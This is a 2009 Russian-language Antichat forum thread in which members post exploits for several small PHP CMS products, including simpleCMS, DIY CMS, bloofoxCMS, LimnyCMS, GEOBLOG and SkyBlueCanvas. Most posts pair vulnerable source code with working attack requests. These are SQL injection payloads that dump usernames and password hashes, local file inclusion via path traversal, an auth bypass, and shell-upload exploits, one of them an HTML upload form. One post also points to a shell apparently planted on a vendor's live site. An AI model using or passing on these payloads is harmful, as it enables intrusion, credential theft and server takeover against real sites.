Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
webCocoon's simpleCMS Vuln's |

20.12.2009, 17:44
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме: 3217552
Репутация:
1668
|
|
webCocoon's simpleCMS Vuln's
webCocoon's simpleCMS
Web site : http://webcocoon.wordpress.com
Version : 0.7.0
SQL Injection
Vuln file: /content/post/show.php [str:3]
PHP код:
//Show post
$get_post = mysql_query("SELECT*FROM post WHERE post_id = '$id' AND status = 'published'");
$post_result = mysql_num_rows($get_post);
$post = mysql_fetch_array($get_post);
Exploit:
if magic_quotes = OFF
Код:
POST http://[host]/[path]/index.php HTTP/1.0
Content-type: application/x-www-form-urlencoded
id=xek' union select null,concat_ws(0x3a,username,password),null,null,null,null,null,null,null,null,null,null,null,null,null,null from user -- &mode=post&gfile=show
*так же уязвимы параметры: year, month, date
Local File Inclusion
Vuln file: /templates/default/template.html [str:538]
PHP код:
if($mode == ""){
include"content/front/$template.php";
}
elseif($gfile == "$gfile"){
include"content/$mode/$gfile.php";
}else{
include"content/front/$template.php";
}
Exploit:
if magic_quotes = OFF
Код:
POST http://[host]/[path]/index.php HTTP/1.0
Content-type: application/x-www-form-urlencoded
mode=../../../../../../../[local_file]%00&gfile=browse
Последний раз редактировалось RulleR; 20.12.2009 в 17:51..
|
|
|

21.12.2009, 16:28
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме: 3217552
Репутация:
1668
|
|
DIY CMS bSQL inj
DIY CMS (Do It Yourself cms)
Web site : http://www.diy-cms.com
Version : 1.0
Blind SQL Injection
Vuln file: /modules/users/index.php [str:48]
PHP код:
/*...*/
if(isset($diy->get['morder']))
{
$order = $diy->get['morder'];
}
else
{
$order = "userid";
}
if (isset($diy->get[msort]))
{
$sort = $diy->get[msort];
}
else
{
$sort = DESC;
}
/*...*/
$result = $diy->query("SELECT * FROM diy_users WHERE userid > '0' and userid != '$diy->Guestid' and activated = 'approved' ORDER BY $order $sort LIMIT $start,$upp");
/*...*/
Если версия MySQL=>5.0.12, можно получить данные из ошибки Duplicate column name
Exploit:
Код:
http://[host]/[path]/mod.php?mod=users&morder=1+and+(select+*+from+(select+*+from+(select+name_const((select+concat_ws(0x3a,username,password)+from+diy_users+where+userid=1),1)a)b+join+(select+name_const((select+concat_ws(0x3a,username,password)+from+diy_users+where+userid=1),1)c)d)e)
*так же уязвим параметр msort
|
|
|

21.12.2009, 21:15
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
там задумывался antihek system) admin/aclass/admin_func.php
Код:
...
38 function format_data($r)
39 {
40 return mysql_escape_string(stripslashes(trim($r)));
41 }
...
68 $user_name = $diy->format_data($diy->post['user_name']);
69 $user_pass = $diy->format_data(md5($diy->post['user_pass']));
70 $result = $diy->query("SELECT userid,username,password,groupid
71 FROM diy_users
72 WHERE (username ='$user_name')
73 AND (password ='$user_pass')
74 AND (groupid = 1)");
75 if (@$diy->dbnumrows($result) > 0) {
...
, но post > $user_name='=0)or('
аплоадер admin/aclass/template.php
Код:
...
410 else if ($action=="uploadtemp")
411 {
412 $upload = $diy->files["name_file"];
413 $theme = str_replace(' ','_',$diy->post[theme]);
414 $tmp_name = $upload["tmp_name"];
415
416 if (is_uploaded_file($upload['tmp_name']))
417 {
418 $path = $diy->upload_path."/".$upload['name'];
419 if(move_uploaded_file($tmp_name, $path))
420 {
...
diy-cms.com/500.php?yaneshell=1
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|
|
|

22.12.2009, 01:14
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Product: bloofoxCMS
Author: 0.3.5
Version: http://www.bloofox.com/
LFI
Need: register_globals = ON
file: update/index.php
PHP код:
$update_files[0] = "update_0.3.0-0.3.1.php";
$update_files[1] = "update_0.3.1-0.3.2.php";
$update_files[2] = "update_0.3.2-0.3.3.php";
$update_files[3] = "update_0.3.3-0.3.4.php";
$update_files[4] = "update_0.3.4-0.3.5.php";
....
if(isset($_GET['page']) && CheckInteger($_GET['page'])) {
$page = $_GET['page'];
$upd_var['update_file'] = SYS_WORK_DIR."/".$update_files[$page];
if(file_exists($upd_var['update_file'])) {
include_once($upd_var['update_file']);
}
}
target: Инклуд достаточно интересный,обманем скрипт  Вроде быи переменная чекаеться на intval, и файл на существование,но вот переменная инклуда не чекаеться.Создаем не существующую переменную,и сами зададим ей значение:
?update_files[11]=../{LF}&page=11
Blind-SQL
file: plugins/text_news/text_news.php
PHP код:
if($login_required == 0 && $sys_explorer_vars['link_plugin'] == 31) {
// init db connection
$db2 = new DB_Tpl();
// create page handling
$sys_vars = $cont->create_pages($db2,$_GET['start'],$sys_vars);
// set template block
$tpl->set_block("template_content", "content", "content_handle");
// get sys_contents
$db2->query("SELECT * FROM ".$tbl_prefix."sys_content WHERE explorer_id = '".$cont->eid."' AND blocked = '0' ORDER BY sorting LIMIT ".$sys_vars['start'].",".$cont->limit."");
$no_of_records = $db2->num_rows();
target: ?login_required=0&sys_explorer_vars['link_plugin']=31&tbl_prefix=bfCMS_sys_user+where+id=1/*блабла,в этой таблице 13 колонок.
Последний раз редактировалось m0Hze; 22.12.2009 в 01:29..
|
|
|

22.12.2009, 12:22
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
В дополнение к #249
Blind-SQL
file: validate.php
PHP код:
$username = $_GET["username"];
$password = $_GET["password"];
if(!isset($_COOKIE["deeemm"])) {
//no cookie so reset cookie just in case
setcookie ("deeemm", "", time() - 3600);
} elseif (isset($_COOKIE["deeemm"])) {
//get data from cookie
$user = explode(" ",$_COOKIE["deeemm"]);
//compare data against database
$sql_query = "SELECT * FROM `" . $db_table_prefix . "users` WHERE `user_name` = '$user[0]'";
$result = mysql_db_query($db_name, $sql_query);
target: Устанавливаем себе куку deemm со значением:
"'+union+select+1,2,3,4,5,6,7,8,9,10+--+ pew-pew"
Upload Shell
Need: register_globals = ON
file: includes/upload_file.php
PHP код:
if (isset($_FILES['file_data'])) {
if ($filename) {
$destination_file = $default_path . $media_dir . $filename;
echo strtolower(basename($_FILES['file_data']['name']));
}
if (file_exists($destination_file)) {
$count = 1;
while (file_exists($destination_file)) {
$filename = $count . '_' . $filename;
$destination_file = $default_path . $media_dir . $filename;
$count++;
}
}
if ($filename && !file_exists($destination_file)) {
if (!move_uploaded_file($_FILES['file_data']['tmp_name'], $destination_file)) {
echo '<br>' . "Upload failed!" . '<br>';
echo $destination_file . '<br>';
echo ($_FILES['file_data']['name']) . '<br>';
echo ($_FILES['file_data']['tmp_name']) . '<br>';
echo ($_FILES['file_data']['size']) . '<br>';
echo ($_FILES['file_data']['type']) . '<br>';
echo ($_FILES['file_data']['error']) . '<br>';
//print_r ($_FILES);
exit;
}
}
}
target: Написал Super-Exploit.
Код:
<form action="http://HOST.com/upload_file.php" method="post" enctype="multipart/form-data">
Shell file: <input type="file" name="file_data"><br>
Path: <input type="text" name="default_path"><br>
Shell name: <input type="text" name="filename"><br>
<input type="submit" value="Xek!"><br>
</form>
Вписываем например:
Path: ./
Shell name: shell.php
Xek!
Шелл окажеться в тойже папке что и upload_file.php
Последний раз редактировалось m0Hze; 22.12.2009 в 12:40..
|
|
|

22.12.2009, 13:43
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме: 835386
Репутация:
1463
|
|
Qikblogger (qb-krypton-0.9beta-patched)
http://qikblogger.sourceforge.net
Blind SQL
mq=off
tag.php
PHP код:
if ( isset($_GET['blog_name']) && isset($_GET['tagname']) ) {
$blog_name = trim($_GET['blog_name']);
$tagname = trim($_GET['tagname']);
,,,
$post_ids = $b->get_tag_posts($tagname);
blogs.php
PHP код:
function get_tag_posts($tagname)
if ( $db->query("SELECT tags.post_id as ids FROM tags, posts WHERE tags.tagname='$tagname' AND tags.blog_name='$this->blog_name' AND tags.post_id=posts.post_id AND posts.disp_dt < CURRENT_TIMESTAMP() ORDER BY posts.disp_dt DESC ;") ) {
http://localhost/qb/tag.php?blog_name=barbie&tagname=barbie'+union+sel ect+1+--+1
|
|
|

22.12.2009, 18:57
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Product: LimnyCMS
Author: http://www.limny.org/
Version: 1.0.1
LFI
По сегодняшней традиции,оно нестрандартное,а немножно интересное
file: ajax.php
PHP код:
if(substr($_POST['page'], 0, 3) != "sub")
{
define("LANGUAGE", Language());
}
else
{
define("USER", @$_POST['user']);
define("LANGUAGE", UserLanguage(USER));
}
// SESSION
if($_POST['page'] == "contact" or $_POST['page'] == "scontact" or $_POST['page'] == "subscontact" or $_POST['page']=="registernow")
{
session_start();
}
// CAN NOT MODIFY HEADERS
if(@$_GET['page'] != "size")
{
require("languages/".LANGUAGE.".php");
Обратите внимание на установку Констант и на ф-цию UserLanguage(USER)
PHP код:
function UserLanguage($username)
{
if(isset($_COOKIE['ulanguage']))
{
return $_COOKIE['ulanguage'];
}
else
{
return UserSettings($username, "language");
}
}
Таким образом:
target:
Код:
POST /target/ajax.php?page=pewpew HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Cookie: ulanguage=../../{LOCAL_FILE}%00;
Connection: keep-alive
page=sub&user=lolita
Вуаля
Blind-SQL
file: cookie.php
PHP код:
switch($_POST['cookie'])
{
case("login");
$user=@$_POST['user'];
$pass=md5(@$_POST['pass']);
$login_result=$db->query("SELECT user, pass, ban FROM ".TABLE_PREFIX."users WHERE user='$user' AND pass='$pass'");
if($login_row=$db->fetch_array($login_result)){
if($login_row['ban']=="1"){echo "Ban!";exit;}
setcookie("username", $login_row['user'], time()+86400, '/', '', 0);
setcookie("password", $login_row['pass'], time()+86400, '/', '', 0);
Проверять можно по кукам,если обнулились - fail  .
target: {POST} ?user=lolita'+union+select+1,2,3,4,5,6,7,8,9,10,11 ,12,13,141,516,17,18,19,20,21+--+
Последний раз редактировалось m0Hze; 22.12.2009 в 19:02..
|
|
|

22.12.2009, 22:34
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме: 3217552
Репутация:
1668
|
|
Дополнение к посту m0Hze
Local File Inclusion
Vuln file: aajax.php [str:11]
PHP код:
require("config.php");
require("includes/functions.php");
require("includes/class_mysql.php");
$db = new dbEngine;
$db->connect(HOSTNAME, USERNAME, PASSWORD);
$db->select(DATABASE);
define("LANGUAGE", Language());
require("languages/".LANGUAGE.".php");
/*...*/
Смотрим функцию Language() (includes/functions.php)
PHP код:
/*...*/
function Language()
{
if(CheckLogin($_COOKIE['username'], $_COOKIE['password']) == true)
{
$language = UserOption($_COOKIE['username'], "lang");
if(isset($_COOKIE['language']) and $_COOKIE['language'] != $language)
{
/*...*/
}
return $language;
}
else
{
if(isset($_COOKIE['language']))
{
$language = $_COOKIE['language'];
}
else
{
$language = Settings("language");
}
}
return $language;
}
/*...*/
Exploit:
if magic_quotes = OFF
Код:
GET http://[host]/[path]/aajax.php HTTP/1.0
Cookie: language=../../../../../../../[local_file]%00
* так же уязвимы файлы: ajax.php, majax.php, print.php, uajax.php
SQL Injection
Vuln file: ajax.php [str:397]
PHP код:
/*...*/
$order=@$_POST['order'];
$newsgroup=@$_POST['newsgroup'];
$number=round(@$_POST['number']);
$username=@$_POST['user'];
if(!is_numeric($number) OR $number<=0){echo "<div class=\"error\">".$lang['error1']."</div>";exit;}
if($newsgroup=="all"){$ng="";}else{$ng=" newsgroup='$newsgroup' AND";}
if($order!="date"){
$lastnews_result=$db->query("SELECT id, title, pretext, datetime FROM ".TABLE_PREFIX."usernews WHERE user='$username' AND lang='".LANGUAGE."' AND$ng releasestatus='1' ORDER BY datetime DESC LIMIT $number");
}else{
/*...*/
Exploit:
if magic_quotes = OFF
Код:
POST http://[host]/[path]/ajax.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: [host]
Content-Length: 175
Cookie: language=en
Connection: Close
Pragma: no-cache
newsgroup=xek' union select null,concat_ws(0x3a,user,pass),null,null from lmn_users -- &page=newslist&number=1
-------------------------------------
Limny 1.01 (Auth Bypass) SQL Injection Vulnerability
Последний раз редактировалось RulleR; 22.12.2009 в 22:41..
|
|
|

23.12.2009, 15:56
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме: 835386
Репутация:
1463
|
|
GEOBLOG 1.0 STABLE
http://sourceforge.net/projects/bitdamaged/
SQL
Скрипты в корне блога содержат строки:
PHP код:
if(!is_numeric($id)) {
print("Dont Be A h4x0r!!!");
exit();
Скрипты в админке проверяют
PHP код:
if($_SESSION['login'] != "user_valid_and_logged_in") {
header("Location: ../index.php");
} //End IF
admin/listcomment.php не содержит таких проверок, поэтому
PHP код:
$query[747] = mysql_query("SELECT * FROM geo_comment WHERE linkid='$id'");
уязвим, при
magic_quotes_gpc = Off
register_globals = On
http://localhost/geoBlog/admin/listcomment.php?id=2'+union+select+1,2,3,4,5,versi on(),7,8+--+1
|
|
|

23.12.2009, 22:22
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Product: SkyBlueCanvas
Author: www.skybluecanvas.com
Version: 1.1
Upload-ShellCode
File: /wym/image.upload.php
PHP код:
if (isset($_FILES['upload']) && !empty($_FILES['upload']['name'])) {
$file = $_FILES['upload'];
$dest = $_POST['upload_dir'];
$ini = FileSystem::read_config(
"../" . SB_MANAGERS_DIR . "media/config.php"
);
$types = array();
if (isset($ini['mimes'])) {
$types = $ini['mimes'];
}
$targets = FileSystem::list_dirs(SB_MEDIA_DIR);
array_push($targets, SB_DOWNLOADS_DIR);
array_push($targets, SB_UPLOADS_DIR);
array_push($targets, ACTIVE_SKIN_DIR . "images/");
list($exitCode, $newfile) = $Core->UploadFile($file, $dest, $types, 5000000, $targets);
if ($exitCode == 1) {
$success = true;
$message = '<div class="msg-success-small"><h2>Success!</h2></div>';
}
else {
$message = '<div class="msg-error-small"><h2>An unknown error occurred</h2></div>';
}
}
Нас интересует: list($exitCode, $newfile) = $Core->UploadFile($file, $dest, $types, 5000000, $targets);
File: /include/core.php
PHP код:
function UploadFile($file, $dest, $allowtypes, $maxsize=5000000, $targets=array()) {
$Uploader = new Uploader($allowtypes, $targets);
return $Uploader->upload($file, $dest);
}
$Uploader->upload($file, $dest);
File: /include/uploader.php
PHP код:
function upload($file, $dest) {
if ($dest{strlen($dest)-1} != '/') $dest .= '/';
$fname = $file['name'];
$ftype = trim($file['type']);
$fsize = $file['size'];
$newfile = null;
if ($fsize > $this->max_size) {
$exitCode = 7;
}
else if ($fsize > $this->free_space) {
$exitCode = 8;
}
else if (!in_array($ftype, $this->types)) {
$exitCode = 4;
}
else if (!in_array($dest, $this->targets)) {
$exitCode = 4;
}
else {
$newfile = $dest.$fname;
$max = 100;
$ticker = 0;
while (file_exists($newfile) && $ticker < $max) {
$ticker++;
$bits = explode('.', $fname);
$ext = $bits[count($bits)-1];
$base = implode('.', array_slice($bits, 0, -1));
$newfile = $dest."$base.$ticker.$ext";
}
if (is_uploaded_file($file['tmp_name'])) {
$exitCode = move_uploaded_file($file['tmp_name'], $newfile);
}
else {
$exitCode = 0;
}
}
return array($exitCode, $newfile);
}
Ну вот и добрались до сути.
Target: Из-за того,что файл целевой файл( image.upload.php) просто открываеться в браузере,не происходит установки разрешеных к аплоаду расширений файлов.Так что просто отсылаем файл и POST- запрос:
upload_dir=../../
Колво ../ подъемов по ФС может быть сколько душе угодно,все зависит от настроек сервера,и где лежит сама ЦМС.В итоге заимеем шелл с названием:
Отсылали: shell.php
Получили: shell..php
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|